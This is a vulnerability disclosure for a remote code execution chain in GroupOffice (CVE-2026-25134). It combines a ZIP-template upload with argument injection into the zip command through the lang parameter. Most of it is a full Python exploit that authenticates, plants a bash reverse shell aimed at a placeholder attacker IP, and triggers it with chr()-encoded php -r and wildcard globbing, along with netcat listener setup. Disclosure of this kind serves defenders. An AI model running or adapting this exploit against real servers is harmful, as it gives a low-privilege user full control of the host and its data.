CVE-2026-25134 - Remote Code Execution in GroupOffice

RCE via arbitrary file upload - CVSS 9.4

Working with NumberOreo, we identified a Critical Remote Code Execution (RCE) vulnerability chain in GroupOffice. By combining an Arbitrary File Upload vulnerability (via Zip Extraction) in the EmailTemplate module with a Command Injection vulnerability in the Maintenance module, an authenticated attacker (with basic user privileges) can execute arbitrary commands on the server.

You can read the advisory here

Details

This exploit chain relies on two distinct vulnerabilities:

1. Arbitrary File Upload via Zip Extraction (EmailTemplate/fromZip)

The EmailTemplate controller allows users to import templates from a ZIP file. The extraction logic does not sufficiently validate the types or contents of files within the ZIP archive. The application extracts the ZIP contents into a temporary directory with a randomized name (e.g. /tmp/groupoffice/5f3a1b2c/payload.sh). normally making the full path execution difficult.

2. Argument Injection in MaintenanceController::actionZipLanguage

The MaintenanceController exposes an action zipLanguage which takes a lang parameter and passes it directly to a system zip command via exec().

The Bypass: Since we do not know the exact randomized directory name created in step 1, we utilize the Command Injection in step 2 to execute a shell command using recursive globbing (wildcards). By injecting bash /**/**/**/payload.sh, the system searches for our unique filename across the filesystem (or specifically within temporary paths), effectively bypassing the protection offered by the randomized directory name.

The code constructs a command like: zip [Lang_param]-version.zip

By injecting arguments into the lang parameter, we can manipulate the zip command. Specifically, we use the -TmTT flags to force zip to execute a test command (Reference: Argument Injection Vectors - Zip). Furthermore, we abuse the php -r command with chr() encoding to facilitate our command injection.

Vulnerable Code (MaintenanceController.php):

1public function actionZipLanguage($lang) {
2    // ...
3    $tmpFile = \GO\Base\Fs\File::tempFile($langCode.'-'.str_replace('.','-', GO::config()->version), 'zip');
4    // $langCode (derived from $lang) is injected into cmd string
5    $cmdString = GO::config()->cmd_zip.' '.$tmpFile->path().' '.implode(" ", $fileNames);
6    exec($cmdString, $outputArr, $retVal);
7}

PoC - Exploitation Chain

We demonstrate the vulnerability with a combined Python script that performs the following steps:

  1. Authenticate as a regular user (e.g., oreo).
  2. Generate a malicious .sh payload with a random filename.
  3. Upload a ZIP containing this payload via the API (api/upload.php + api/jmap.php -> EmailTemplate/fromZip).
  4. Trigger RCE by calling Maintenance/zipLanguage with a payload that executes the uploaded shell script using wildcard globbing (bash /**/**/**/payload.sh).

Prerequisites: Before running the exploit:

  1. Start a netcat listener on your machine: nc -nvlp 4444
  2. Edit the BASE_URL variable to point to the authorized Group-Office instance.
  3. Edit the SHELL_CONTENT variable with your attacker IP address.
  4. Edit the USER and PASS variables with your credentials.
  1!/usr/bin/env python3
  2import os
  3import requests
  4import zipfile
  5import io
  6import random
  7import string
  8import time
  9
 10
 11BASE_URL = os.environ.get("BASE_URL", "http://XX.XX.XX.XX.fr:4444")
 12USER = os.environ.get("USER", "user")
 13PASS = os.environ.get("PASS", "password")
 14
 15SHELL_CONTENT = b'/bin/bash -i >& /dev/tcp/XX.XX.XX.XX/4444 0>&1'
 16
 17
 18def random_string(length=8):
 19    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
 20
 21def create_malicious_zip(filename, content):
 22    zip_buffer = io.BytesIO()
 23    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
 24        zf.writestr(filename, content)
 25        zf.writestr("index.html", b"<html><body>Template</body></html>")
 26    return zip_buffer.getvalue()
 27
 28def to_php_chr(s):
 29    """Converts a string to a PHP chr() concatenation string."""
 30    return ".".join([f"chr({ord(c)})" for c in s])
 31
 32def generate_rce_payload(command):
 33    php_code = f"system({to_php_chr(command)});"
 34    wrapped_payload = f"php -r '{php_code}'"
 35    final_payload = f'-TmTT=$({wrapped_payload})'
 36    return final_payload
 37
 38def authenticate(session):
 39    """Authenticate via api/auth.php and return accessToken + csrfToken"""
 40    url = f"{BASE_URL}/api/auth.php"
 41    data = {"action": "login", "username": USER, "password": PASS}
 42    headers = {'Content-Type': 'application/json'}
 43
 44    try:
 45        resp = session.post(url, json=data, headers=headers, timeout=10)
 46        if resp.status_code == 201:
 47            json_resp = resp.json()
 48            access_token = json_resp.get('accessToken')
 49            csrf_token = json_resp.get('CSRFToken')
 50            print(f"Login Successful")
 51            return access_token, csrf_token
 52        else:
 53            print(f"Login Failed")
 54            return None, None
 55    except Exception as e:
 56        print(f"Login Error: {e}")
 57        return None, None
 58
 59def upload_zip_payload(session, zip_data, access_token, csrf_token):
 60    """Uploads the malicious ZIP file using api/upload.php"""
 61    url = f"{BASE_URL}/api/upload.php"
 62    headers = {
 63        'X-File-Name': 'payload.zip',
 64        'Content-Type': 'application/octet-stream',
 65        'Authorization': f'Bearer {access_token}'
 66    }
 67    if csrf_token:
 68        headers['X-CSRF-Token'] = csrf_token
 69
 70    try:
 71        resp = session.post(url, data=zip_data, headers=headers, timeout=10)
 72        if resp.status_code in [200, 201]:
 73            json_resp = resp.json()
 74            blob_id = json_resp.get('id') or json_resp.get('blobId')
 75            return blob_id
 76        else:
 77            return None
 78    except Exception as e:
 79        print(f"Upload Error: {e}")
 80        return None
 81
 82def trigger_extraction(session, blob_id, access_token, csrf_token):
 83    """Triggers the EmailTemplate/fromZip action via JMAP to extract the ZIP."""
 84    url = f"{BASE_URL}/api/jmap.php"
 85
 86    jmap_request = [
 87        ["EmailTemplate/fromZip", {
 88            "blobId": blob_id,
 89            "module": "addressbook",
 90            "package": "community",
 91            "subject": "PoC Exploit"
 92        }, "extract"]
 93    ]
 94
 95    headers = {
 96        'Content-Type': 'application/json',
 97        'Authorization': f'Bearer {access_token}'
 98    }
 99    if csrf_token:
100        headers['X-CSRF-Token'] = csrf_token
101
102    try:
103        resp = session.post(url, json=jmap_request, headers=headers, timeout=10)
104    except Exception as e:
105        print(f"Error: {e}")
106
107def trigger_rce_execution(session, shell_filename, access_token=None):
108    command = f"bash /**/**/**/{shell_filename}"
109    payload = generate_rce_payload(command)
110
111
112    url = f"{BASE_URL}/index.php"
113    params = {
114        "r": "maintenance/zipLanguage",
115        "lang": payload
116    }
117    headers = {}
118    if access_token:
119         headers['Authorization'] = f"Bearer {access_token}"
120
121    try:
122        resp = session.get(url, params=params, headers=headers, timeout=5)
123    except requests.exceptions.ReadTimeout:
124    except Exception as e:
125        print(f"RCE Trigger Error: {e}")
126
127def main():
128    session = requests.Session()
129
130    # 1. Authenticate
131    access_token, csrf_token = authenticate(session)
132    if not access_token:
133        sys.exit(1)
134
135    # 2. Generate random filename
136    shell_filename = f"{random_string(6)}.sh"
137
138    # 3. Create ZIP
139    zip_data = create_malicious_zip(shell_filename, SHELL_CONTENT)
140
141    # 4. Upload ZIP
142    blob_id = upload_zip_payload(session, zip_data, access_token, csrf_token)
143    if not blob_id:
144        sys.exit(1)
145
146    # 5. Trigger Extraction (puts shell on disk)
147    trigger_extraction(session, blob_id, access_token, csrf_token)
148
149    # Give it a split second to write to disk
150    time.sleep(1)
151
152    # 6. Execute via RCE
153    trigger_rce_execution(session, shell_filename, access_token)
154
155if __name__ == "__main__":
156    main()